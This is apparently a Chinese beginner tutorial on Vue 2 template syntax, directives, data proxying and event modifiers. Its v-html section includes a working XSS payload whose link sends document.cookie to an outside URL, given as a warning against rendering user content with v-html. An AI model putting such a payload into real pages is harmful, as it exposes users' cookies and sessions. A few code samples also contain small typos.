01-Vue基础之模板语法

01.Vue 概述

1.1.简介

  • Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式框架
  • vue 是一个JS代码库,不仅易于上手,还便于与第三方库或既有项目整合
  • 官网:https://cn.vuejs.org/v2/guide/

Vue特点:

易用:熟悉HTML,CSS,JS,可以很快上手VUE
灵活:在一个库和一个完整框架之间伸缩自如
高效:20kb运行大小,超快虚拟DOM

1.2.VUE实例属性(七大属性)

1、el属性:用于指定当前Vue实例为哪个容器服务,值通常为css选择器

2、data属性:用于存储数据,数据供el所指定的容器去使用。

3、template属性:用来设置模板,会替换页面元素,包括占位符。

4、methods属性:放置页面中的业务逻辑,js方法一般都放置在methods中。

5、render属性:创建真正的Virtual Dom。

6、computed属性:用来计算,根据已经存在的属性计算出新的属性,对于同样的数据,会缓存。当其依赖属性的值发生变化是,这个属性的值会自动更新,与之相关的DOM部份也会同步自动更新。

7、watch侦听属性:监听data中数据的变化,两个参数,一个返回新值,一个返回旧值,当你有一些数据需要随着其它数据变动而变动时或者执行异步操作或开销较大操作时,建议使用watch。

注意
computed和methods的区别:

  • computed:是在值发生改变的时候才会触发效果。
  • methods:只要刷新执行了就会触发,所有平时写VUE的时候,能用computed的尽量使用。

computed和watch的区别:

  • watch:监视,能够监听到数据的变化,只要数据变化的时候,都会自定执行对应的方法,其中可以检测的数据来源分为三部分 data , computed , props
  • computed:计算属性,存在一个计算缓存的特性,每一次计算之后,只要里面的逻辑不发生变化,每一次重复调用,都会使用上一次执行的结果,能够节省计算的时间。

1.3.注意事项

1、想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象

new Vue({配置对象})

2、html容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;

<!-- 准备好一个容器 -->
<div id="root">
	<!-- 获取name的值使用的是vue语法,h1标签符合html规范-->
	<h1>Hello,{{name}}</h1>
</div>

3、root容器里的代码被称为Vue模板

<div id="root">
	<!--Vue模板:值可以从vue实例中获取-->
	<h1>Hello,{{name}}</h1>
</div>

4、Vue实例容器一一对应的,一个Vue实例只能与一个容器对应,同样一个容器也只能对应一个Vue实例;

<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>

<!-- 容器 -->
<div id="demo">
	<h1>Hello,{{name}}</h1>
</div>

<script type="text/javascript" >
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	//Vue实例
	new Vue({
		el:'#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
		data:{ //data中用于存储数据,数据供el所指定的容器去使用。
			name:'AISMALL'
		}
	})
</script>

5、真实开发中只有一个Vue实例,并且会配合着组件一起使用;

6、{{xxx}}中的xxx要写js表达式,且xxx也可以自动读取到data中的属性,一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新

注意区分:js表达式 和 js代码(语句)
	1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
				(1). a
				(2). a+b
				(3). demo(1)
				(4). x === y ? 'a' : 'b'

	2.js代码(语句)
				(1). if(){}
				(2). for(){}

7、完整案例如下:

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>初识Vue</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>	
		<!-- 准备好一个容器 -->
		<div id="demo">
			<h1>Hello,{{name}</h1>
		</div>

		<script type="text/javascript" >
			Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

			//创建Vue实例
			new Vue({
				el:'#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
				data:{ //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
					name:'AISMALL'
				}
			})
		</script>
	</body>
</html>

02.Vue入门案例(helloworld)

下面介绍三种引入JS的方式:

第一种:使用传统的js写法(原生JS)

<!--定义一个标签用来接收传来的信息-->
<div id="msg"><div>
    
<!--JS代码-->
<script type="text/javascript">
    //定义一个变量
    var msg='hello world';
    //获取div对象的id
    var div=document.getElementById('msg');
    //把msg内容填充到div标签内部
    div.innerHTML=msg;
</script>

第二种:使用JQuery框架封装的JS写法

<div id="msg"><div>
    
<!--引入JQuery框架-->
<script type="text/javascript" src="js/jquery.js"></script>
<!--JS代码-->    
<script type="text/javascript">   
    var msg='hello world';
    //通过#msg获取div标签id,然后把值填充到div标签
    $('#msg').html(msg);
</script>

第三种:使用Vue框架封装的JS语法

<!DOCTYPE html>
<html lang="en">
	<head>
    	<meta charset="UTF-8">
    	<title>Document</title>
    </head>
	
	<body>
    	<!--定义一个标签用来接收传来的信息-->
   		<div id="msg">
            <!--插值表达式:大括号-->
        	<div>{{MSG}}</div>
        	<div>{{MSG + 666}}</div>
    	</div>
    
    	<!--引入下载好的vue框架-->
    	<script type="text/javascript" src="../js/vue.js"></script>
    
    	<!--在js代码-->
    	<script type="text/javascript">
        	var vm = new Vue({
                //使用# 获取标签id
            	el: '#msg',
                //data 里面是要传入到标签里面的数据
            	data: {
                 //替换标签里面的值MSG
               	 MSG: 'Hello Vue'
            	}
        	});
    	</script>
	</body>
</html>

分析:由于是学习VUE框架,接下来主要分析VUE框架的使用方法:

  • 下载vue.js的链接:https://cn.vuejs.org/v2/guide/installation.html

    注意:vue框架有两种不同的版本
    	- vue.js(代码易于阅读,但是占用空间大):开发时使用
    	- vue.min.js(代码不易阅读,占用空间小) :部署时使用
    
  • VUE实例参数分析:

    el(element):元素的挂载位置(值可以是CSS选择器或者DOM元素)
    	- 通过这个配置属性可以将vue实例和html容器建立连接
    	- 如果html容器中配置的不是id属性,而是class属性,el中可以使用 .属性名称  的方式进行挂载
    	
    data:模型数据(值是一个对象),键值对的形式,可以写多个键值对
    
  • 插值表达式语法:将数据填充到HTML标签中

    插值表达式支持基本的计算操作:
    	- 字符串拼接:<div>{{MSG + 666}}</div>
    	- 简单计算:<div>{{1+2}}</div>
    

Vue代码运行原理:

  • Vue语法–>Vue框架解析–>原生JS代码

03.VUE模板语法概述

模板语法分为两种:

  • 插值语法:简单的理解为将插入到指定标签的标签体中。

    • 功能:用于解析标签体内容。
    • 写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
    <h1>标签体内容</h1>
    <h1>{{xxx}}</h1>
    
  • 指令语法:简单理解为给指定标签添加标签属性

    • 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)。
    • 举例:v-bind:href="xxx" 或 简写为 :href="xxx",xxx同样要写js表达式,且可以直接读取到data中的所有属性。
    <h1 herf='标签属性'>标签体内容</h1>
    <h1 v-bind:herf='标签属性'>{{xxx}}</h1>
    <h1 :herf='标签属性'>{{xxx}}</h1>
    

举例如下:

<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>

<!-- 准备好一个容器-->
<div id="root">
	<!-- 插值语法:标签体内容-->
	<h1>你好,{{name}}</h1>
	
	<!-- 指令语法:标签属性-->
	<a v-bind:href="url">{{webName}}01</a>
	<a :href="url">{{webName}}02</a>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	new Vue({
		el:'#root',
		data:{
			name:'jack',
			webName:'百度一下',
			url:'www.baidu.com'
		}
	})
</script>

04.VUE中的数据绑定(插值语法)

4.1.Vue中数据绑定概述

Vue中有2种数据绑定的方式:

  • 1.单向绑定(v-bind):数据只能从data流向页面。
  • 2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。

注意:

  • 1.双向绑定一般都应用在表单类元素上(如:input、select等),因为可以从data中获取值改变标签中的值,还可以通过用户输入值改变标签的值,这样才可以称为双向。
  • 2.v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。

举例如下:

<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>

<!-- 准备好一个容器-->
<div id="root">
	<!-- 普通写法 -->
	单向数据绑定:<input type="text" v-bind:value="name"><br/>
	双向数据绑定:<input type="text" v-model:value="name"><br/>

	<!-- 简写 -->
	单向数据绑定:<input type="text" :value="name"><br/>
	双向数据绑定:<input type="text" v-model="name"><br/>

	<!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
	<!-- <h2 v-model:x="name">你好啊</h2> -->
</div>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	new Vue({
		el:'#root',
		data:{
			name:'AISMALL'
		}
	})
</script>

4.2.插值语法之v-cloak插值指令

插值语法存在的问题:闪动

如何解决该问题:使用v-cloak插值指令

解决该问题的原理:先隐藏,替换好值之后再显示最终的值

用法:

  • 1.提供样式
  • 2.让带有插值的语法添加 v-cloak 属性在数据渲染完成之后,v-cloak 属性会被自动去除, v-cloak一旦移除也就是没有这个属性了,属性选择器就选择不到该标签,也就是对应的标签会变为可见。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title></title>
		
		<style type="text/css">
 	 	 /*1.*/
  		[v-cloak]{
    		display: none;
  			}
  		</style>
	</head>

	<body>
		<!-- 2.-->
		<div id="app">
	    	<div  v-cloak>{{msg}}</div>
	  	</div>
	  	<script type="text/javascript" src="../js/vue.js"></script>  
	  	<script type="text/javascript">
	    	var vm = new Vue({
	      		el: '#app',
	      		data: {
	        		msg: 'Hello Vue'
	      		}
	    	});
		</script>
	</body>
</html>

4.3.插值语法之v-text插值指令

v-text:指令可以给标签赋值

  • 使用v-text指令给标签赋值的时候直接写对应变量的名称,就会直接将变量的值渲染到标签中。
  • 使用v-text指令的HTML标签中不要写插值语法,因为写内容也会被v-text指定的内容替换掉。
  • 注意:此处为单向绑定,数据对象上的值改变,插值会发生变化,但是当插值发生变化并不会影响数据对象的值
<!DOCTYPE html>
<html>
	<head>
		<title>v-text</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="app">
		    <p v-text="msg01"></p>   

			<!--v-text指令会直接将内容渲染到标签中,不会对其进行解析-->
			<p v-text="msg02">
    
			<!--使用v-text指令的HTML标签中不要写插值语法,写了也会被替换掉-->
		    <p v-text="msg01">{{msg02}}</p>
		</div>
		
		<script>
		    new Vue({
		        el: '#app',
		        data: {
		            msg01: 'Hello Vue.js',
					msg02:'<h1>hello Vue.js</h1>'
		        }
		    });
		</script>
	</body>
</html>

4.4.插值语法之v-html插值指令

v-html:指令也可以给标签赋值,用法和v-text指令类似。

v-text与v-text的区别:

  • v-text输出的是纯文本,浏览器不会对其再进行html解析
  • v-html会将其当html标签解析后输出
<!DOCTYPE html>
<html>
	<head>
		<title>v-html</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="app">
		    <p v-html="msg01"></p>   

			<!--v-html指令会对即将渲染到标签中的内容进行解析-->
			<p v-html="msg02">
    
			<!--使用v-html指令的HTML标签中不要写插值语法,写了也会被替换掉-->
		    <p v-html="msg01">{{msg02}}</p>
		</div>
		
		<script>
		    new Vue({
		        el: '#app',
		        data: {
		            msg01: 'Hello Vue.js',
					msg02:'<h1>hello Vue.js</h1>'
		        }
		    });
		</script>
	</body>
</html>

可能存在安全问题: 一般只在可信任内容上使用v-html,永不用在用户提交的内容上使用v-html。

<!DOCTYPE html>
<html>
	<head>
		<title>v-html安全性问题</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<!-- 在给标签渲染之前先进行解析 -->
			<div v-html="str"></div>
			<!-- 安全性问题:
				 	假如传入的变量是:<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>戳一下</a> 
					点击之后会进行跳转,在跳转的时候会带上一些你的cookie信息,导致信息泄露。
					现在大部分网站都对cookie做了加密,使用document.cookie获取不到完整的cookie,来保证网站的安全性
				-->
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		new Vue({
			el:'#root',
			data:{
				str:'<h3>Hello Vue.js!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>戳一下</a>',
			}
		})
	</script>
</html>

4.5.插值语法之v-pr插值指令

v-pre:指令让标签显示原始信息跳过编译过程。

用途:一些静态的内容不需要编译加这个指令可以加快渲染

<!DOCTYPE html>
<html>
	<head>
		<title>v-pre指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<!-- v-pre加速静态内容的渲染 -->
			<h2 v-pre>Vue其实很简单</h2>
			<!-- v-pre让标签显示原始信息,不对插值语法进行解析,直接输出{{n}} -->
			<h2 v-pre>当前的n值是:{{n}}</h2>
			<!-- 对比分析,不适用v-pre的标签 -->
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

4.6.插值语法之v-once插值指令

v-once:指令顾名思义,执行一次性的插值当数据改变时,插值处的内容不会继续更新。

<!DOCTYPE html>
<html>
	<head>
		<title>v-once指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<!-- 使用v-once,只进行一次编译 -->
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<!-- 对比 -->
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>
	<script type="text/javascript">
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

4.7.插值语法v-model双向数据绑定插值指令:

  • 什么是双向数据绑定

    当数据发生变化的时候,视图也就发生变化
    当视图发生变化的时候,数据也会跟着同步变化
    
  • v-model是一个指令,限制在 <input>、<select>、<textarea>、components中使用

<!DOCTYPE html>
<html>
	<head>
		<title></title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	
	<body>
		 <div id="app">
      		<div>{{msg}}</div>
      	
      		<div>
         		<!--当输入框中内容改变的时候,  页面上的msg  会自动更新-->
        		<input type="text" v-model='msg'>
      		</div>
 		 </div>
		<script>
    		let app=new Vue({
        		el: "#app",
        		data: {
            		msg:'Hello Vue.js',
        		}
    		});
		</script>
	</body>
</html>

05.MVVM模型概述

MVVM 是Model-View-ViewModel的简写。类似于目前比较流行的MVC、MVP设计模式,主要目的是为了分离视图(View)和模型(Model)的耦合

  • Model (模型):数据层 :data中的数据。
  • View(视图):视图层:模板代码,即我们的HTML页面
  • View-Model(视图模型):VUE实例对象:将数据和视图层建立联系 。

注意:当VUE实例与视图层关联之后,VUE实例中的所有属性,视图层都可以获取,包括那些隐藏的属性。
在这里插入图片描述
MVVM架构中,不允许数据和视图直接通信,只能通过ViewModel来通信,而ViewModel就是定义了一个Observer观察者。ViewModel是连接View和Model的中间件

Vue.js就是一个MVVM的实现者,它的核心就是实现了DOM监听数据绑定

特点:

  • ViewModel能够观察到数据的变化,并对视图对应的内容进行更新。
  • ViewModel能够监听到视图的变化,并能够通知数据发生变化。

优点如下:

  • 低耦合:视图(View)可以独立于Model变化和修改,一个ViewModel可以绑定到不同的View上,当View变化的时候Model可以不变,当Model变化的时候,View也可以不变。
  • 可复用:可以把一些视图逻辑放到一个ViewModel里面,让很多View重用这段视图逻辑。
  • 独立开发:开发人员可以专注于业务逻辑和数据的开发(ViewModel),设计人员可以专注于页面设计。
  • 可测试:界面素来是比较难于测试的,而现在测试可以针对ViewModel来写。

06.数据代理概述

6.1.Object.defineproperty方法

Vue是如何实现双向数据绑定的?

  • 答案1:数据劫持。即对象属性访问器属性中的 getter 函数和 setter 函数实现的数据劫持。

  • 答案2:通过Object.defineproperty方法配合 setter 和 getter 实现的数据双向绑定,不过该方法只是做到了对数据的检测,对UI重新渲染它并没有做。

接下来就介绍Object.defineproperty方法:

JS也支持面向对象编程,也是有着对象这样的概念,我们常见创建对象的方法应该是这样:

let person={
	name:'AISMALL',
	sex:'女',
}

Object.defineProperty方法:可以给一个对象定义一个新属性或者修改一个对象的现有属性并返回此对象。

语法:Object.defineproperty( object,‘ propName ’ ,descriptor);

参数解析:

  • object :要定义属性的对象。
  • propName :要定义或修改的属性的名称。
  • descriptor:要定义或修改的属性描述符对象

何为描述符对象? 可以是数据属性。

  • value:被定义的属性值,默认值为undefined。
  • enumerable:控制属性是否可以枚举,默认值是false。
  • writable:控制属性是否可以被修改,默认值是false。
  • configurable:控制属性是否可以被删除,默认值是false。

举例如下:

<script type="text/javascript" >
	// 定义一个类,该类中有两个属性。
	let person = {
		name:'AISMALL',
		sex:'女',
	}
	// 给该类添加一个属性:age
	Object.defineProperty(person,'age',{
		value:18,		// 被定义的属性值。注意:此处写死了。
		enumerable:true, //控制属性是否可以枚举,默认值是false
		writable:true, 	//控制属性是否可以被修改,默认值是false
		configurable:true //控制属性是否可以被删除,默认值是false
</script>

为了更加灵活的设置这个属性值,可以使用gettersetter函数:

<script type="text/javascript" >
	// 定义一个变量
	let number = 18
	let person = {
		name:'AISMALL',
		sex:'女',
	}
	Object.defineProperty(person,'age',{
		//当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值。
		// 此处使用number作为该返回值。
		get(){
			console.log('有人读取age属性了')
			return number
		},
		//当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值。
		set(value){
			console.log('有人修改了age属性,且值是',value)
			number = value
		}
	})
	console.log(person)
</script>

6.2.Vue中的数据代理

先来看看普通的数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)。

<!-- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)-->
<script type="text/javascript" >
	// 定义两个类
	let obj = {x:100}
	let obj2 = {y:200}
	// 通过defineProperty方法给对象obj2添加一个属性,该属性与obj对象属性关联。
	Object.defineProperty(obj2,'x',{
		get(){
			return obj.x
		},
		set(value){
			obj.x = value
		}
	})
</script>

Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)

Vue中数据代理的好处:更加方便的操作data中的数据

基本原理:

  • 通过Object.defineProperty()把data对象中所有属性添加到vm对象上,这样就可以通过vm对象直接操作data对象的属性
  • 为每一个添加到vm上的属性,都指定一个getter/setter,通过getter/setter方法来建立添加到vm对象的属性和data对象中属性的关联。
  • 操作添加到vm对象中的属性的时候,在getter/setter内部去操作(读/写)data中对应的属性。

举例如下:

<div id="root">
	<h2>姓名:{{name}}</h2>
	<h2>性别:{{sex}}</h2>
</div>
<script type="text/javascript">
	const vm = new Vue({
		el:'#root',
		data:{
			name:'AISMALL',
			sex:'女'
		}
	})
</script>

数据代理图示:
在这里插入图片描述

07.Vue中的事件绑定(指令语法)

7.1.Vue事件绑定概述

先来熟悉一下DOM中的事件:

  • DOM事件:浏览器和用户可以对HTML页面做出某种动作,如浏览器加载页面后用户点击鼠标时等,我们称这些动作为DOM事件。
  • 事件是用户和页面交互的核心,当动作发生(事件触发)时,我们可以为这个动作(事件类型)绑定一个或多个处理事件的函数,通过这些绑定的函数来完成我们想要实现的功能。
  • 详细的DOM事件参考:DOM以及DOM事件的处理方式

DOM中事件绑定方式为:

  • element.on+事件类型(type) = function (event){};

举个例子:鼠标点击事件

  • 当用户点击请双击我!,调用的事件句柄(事件对应的函数),弹出hello!!!
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>demo</title>
	</head>
	<body>
		<div id="root">请点击我!</div>
	</body>
	<script type="text/javascript">
	    var root= document.getElementById("root");
        console.log(root);
        root.onclick = function (){
            alert("hello!!!"); 
        };
	</script>
</html>

Vue 不推荐我们直接操作DOM,为了解决这个问题,Vue中使用下面这种方式来绑定事件:

  • v-on:事件类型
  • 也可以简写成::事件类型

举个例子:鼠标点击事件

  • 当用户点击请双击我!,调用的事件句柄(事件对应的函数),弹出hello!!
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>demo</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
		事件的基本使用:
			使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件类型;
            点击事件属性为:click
		-->
        <div id="root">
            <!-- 正常写法 -->
            <div v-on:click="showInfo">请点击我!!</div>
            <!-- 简化写法 -->
            <div @click="showInfo">请点击我!!</div>
        </div>	
	</body>
	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		const vm = new Vue({
			el:'#root',
			methods:{
				showInfo(){
					alert('hello!!')
				}		
			}
		})
	</script>
</html>

7.2.Vue事件的基本使用:v-on

事件的基本使用:

  • 1.使用v-on:xxx@xxx 绑定事件,其中xxx是事件类型
  • 2.事件的回调需要配置在methods对象中,最终会在vm上;
  • 3.methods中配置的函数,不要用箭头函数,否则this就不是vm了;
  • 4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
  • 5.@click="demo"@click="demo($event)" 效果一致,但后者可以传参;
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>事件的基本使用</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>Hello {{name}}</h2>
			<!-- 给按钮绑定点击事件,事件对应处理函数为showInfo -->
			<button v-on:click="showInfo">点我提示信息</button>
			<!-- vue中点击事件的简化写法:v-on可以使用@代替 -->
			<button @click="showInfo1">点我提示信息(不传参)</button>
			<!-- 测试给点击事件的处理函数传递参数 -->
			<button @click="showInfo2(66,$event)">点我提示信息(传参)</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		const vm = new Vue({
			el:'#root',
			data:{
				name:'AISMALL',
			},
			methods:{
				showInfo(){
					alert('hello 点我提示信息')
				},
				// event为事件实例的占位符
				showInfo1(event){
					// 拿到产生事件的按钮里面的内容
					console.log(event.target.innerText)
					//此处的this是vm
					console.log(this) 
					alert('hello 点我提示信息(不传参)')
				},
				// 事件实例占位符可以在任意位置,传递参数时与之对应即可
				showInfo2(number,event){
					console.log(event.target.innerText)
					console.log(this) 
					// 打印传递的参数
					console.log(number,event)	
					alert('hello 点我提示信息(传参)')
				}
			}
		})
	</script>
</html>

7.3.Vue中的事件修饰符

在事件处理程序中调用 event.preventDefault()event.stopPropagation() 是非常常见的需求,尽管我们可以在方法中轻松实现这点,但更好的方式是,方法只有纯粹的数据逻辑,而不是去处理 DOM 事件细节。

为了解决这个问题,Vue.js 为 v-on 提供了事件修饰符,修饰符是由开头的指令后缀来表示的。

Vue中的事件修饰符分类:

  • .prevent:阻止默认事件(常用);
  • .stop:阻止事件冒泡(常用);
  • .once:事件只触发一次(常用);
  • .capture:使用事件的捕获模式;
  • .self:只有event.target是当前操作的元素时才触发事件;
  • .passive:事件的默认行为立即执行,无需等待事件回调执行完毕;

注意:使用修饰符时,顺序很重要,不同顺序产生的效果不同。因此,用 v-on:click.prevent.self 会阻止所有的点击,而 v-on:click.self.prevent 只会阻止对元素自身的点击。

7.3.1.prevent
  • .prevent:阻止默认事件(常用);
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>prevent 阻止默认事件</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
            <!-- 点击之后会先弹窗,然后跳转页面 -->
			<a href="http://www.baidu.com" @click="showInfo">点我提示信息</a>
            <!-- 点击之后会弹窗,页面跳转被阻止 -->
            <a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
		</div>
	</body>

	<script type="text/javascript">
		new Vue({
			el:'#root',
			methods:{
				showInfo(e){
					alert('hello!!')
				}
			}
		})
	</script>
</html>
7.3.2.stop
  • .stop:阻止事件冒泡(常用);
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>stop 阻止事件冒泡</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
		<style>
            *{
				margin-top: 20px;
			}
			.demo1{
				height: 50px;
				background-color: skyblue;
			}
		</style>
	</head>
	<body>
        <!-- DOM 处理事件有两种方式:捕获和冒泡 
             捕获:事件从外向里响应,即捕获就开始处理
             冒泡:事件从里向外响应,即捕获的时候不做处理,冒泡的时候在处理 -->
        
        <!-- 事件先被捕获,这时候不处理,到最内层之后开始冒泡处理 -->
		<div id="root">
            <!-- 点击:点我提示信息,会弹窗两次 -->
			<div class="demo1" @click="showInfo">
				<button @click="showInfo">点我提示信息</button>
			</div>
            
           <!-- 点击:点我提示信息,会弹窗一次,冒泡被阻止,外层点击事件不起作用 -->
			<div class="demo1" @click="showInfo">
				<button @click.stop="showInfo">点我提示信息</button>
			</div>
		</div>
	</body>
	<script type="text/javascript">
		new Vue({
			el:'#root',
			methods:{
				showInfo(e){
					alert('hello!!');
				}			
			}
		})
	</script>
</html>
7.3.3.once
  • .once:事件只触发一次(常用);
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>once 事件只触发一次</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
            <!-- 第一次点击按钮有作用,后面点击不起作用 -->
			<button @click.once="showInfo">点我提示信息</button>
		</div>
	</body>

	<script type="text/javascript">
		new Vue({
			el:'#root',
			methods:{
				showInfo(e){
					alert('hello!!')
				}
			}
		})
	</script>
</html>
7.3.4.capture
  • .capture:使用事件的捕获模式;
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>capture 事件的捕获模式</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
		<style>
			.box1{
				padding: 5px;
				background-color: skyblue;
			}
			.box2{
				padding: 5px;
				background-color: orange;
			}
		</style>
	</head>
	<body>
        <!-- DOM 处理事件有两种方式:捕获和冒泡 
             捕获:事件从外向里响应,即捕获就开始处理
             冒泡:事件从里向外响应,即捕获的时候不做处理,冒泡的时候在处理 -->
        
        <!-- 冒泡是默认的事件行为,使用capture可以将其设置为捕获行为,即捕获就开始处理 -->
		<div id="root">
            <!-- 点击最外层的div会直接处理,弹窗一次 -->
			<div class="box1" @click.capture="showMsg(1)">
				div1
                <!-- 点击内层的div会弹窗两次,因为需要从外向内捕获 -->
				<div class="box2" @click="showMsg(2)">
					div2
				</div>
			</div>
		</div>
	</body>

	<script type="text/javascript">
		new Vue({
			el:'#root',
			methods:{
				showMsg(msg){
					alert('div'+msg);
				}
			}
		})
	</script>
</html>
7.3.5.self
  • .self:只有event.target是当前操作的元素时才触发事件;
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>self 只有event.target是当前操作的元素时才触发事件</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
		<style>
			*{
				margin-top: 20px;
			}
			.demo1{
				height: 50px;
				background-color: skyblue;
			}
		</style>
	</head>
	<body>
		<div id="root">
			<!-- 点击按钮,根据冒泡机制,会弹窗两次 -->
			<div class="demo1" @click="showInfo($event,'div')">
				<button @click="showInfo($event,'button')">点我提示信息</button>
			</div>

            <!-- 只有event.target是当前操作的元素时才触发事件 -->
            <!-- 点击按钮,弹窗一次,因为事件对象本身是按钮产生的 -->
			<div class="demo1" @click.self="showInfo($event,'div')">
				<button @click="showInfo($event,'button')">点我提示信息</button>
			</div>
		</div>
	</body>

	<script type="text/javascript">
		const vm =new Vue({
			el:'#root',
			methods:{
				showInfo(event,msg){
					alert('hello!!'+ msg)
                    console.log(event.target)
				}
			}
		})
	</script>
</html>
7.3.6.passive
  • .passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>passive 事件的默认行为立即执行</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
		<style>
			.list{
				width: 200px;
				height: 200px;
				background-color: rgb(205, 63, 125);
				overflow: auto;
			}
			li{
				height: 100px;
			}
		</style>
	</head>
	<body>
        <div id="root">
			<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
            <!-- 触发事件的行为先执行,不用等事件函数执行结束在执行 -->
            <!-- 下面是一个鼠标滚轮事件,鼠标滚动后,页面立即有反映,无需等待事件函数执行结束在反映 -->
			<ul class="list" @wheel.passive="demo" >
				<li>1</li>
				<li>2</li>
				<li>3</li>
				<li>4</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		new Vue({
			el:'#root',
			methods:{
				demo(){
                    // 为了延时添加一个循环
					for (let i = 0; i < 10000; i++) {
						console.log('#')
					}
					console.log('累坏了')
				}
			}
		})
	</script>
</html>

7.4.Vue中的键盘事件修饰符

键盘事件:按下键盘上的键触发的事件称之为键盘事件。

键盘事件有两种类型:

  • v-on:keyup或者@keyup:按下键盘弹起时触发
  • v-on:keydown或者@keydown:按下键盘时触发

监听键盘事件时,我们经常需要检查详细的按键,Vue 允许为 v-on 在监听键盘事件时添加按键修饰符

常用的按键修饰符:

  • .enter => enter键.tab => tab键.delete (捕获删除和退格按键) => 删除键.esc => 取消键.space => 空格键.up => 上.down => 下.left => 左.right => 右

使用enter键举例如下:

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>键盘事件修饰符</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
            <!-- 放置一个输入框,输入框提示内容为:按下回车提示输入 -->
            <!-- 当按下回车键之后,才会触发键盘事件 -->
			<input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo">
           
            <!-- 当回车键弹起之后,才会触发键盘事件 -->
            <input type="text" placeholder="弹起回车提示输入" @keyup.enter="showInfo">
		</div>
	</body>

	<script type="text/javascript">
		new Vue({
			el:'#root',
			methods: {
				showInfo(){
					alert("请输入你的名字")
				}
			},
		})
	</script>
</html>

7.5.自定义键盘事件修饰符别名

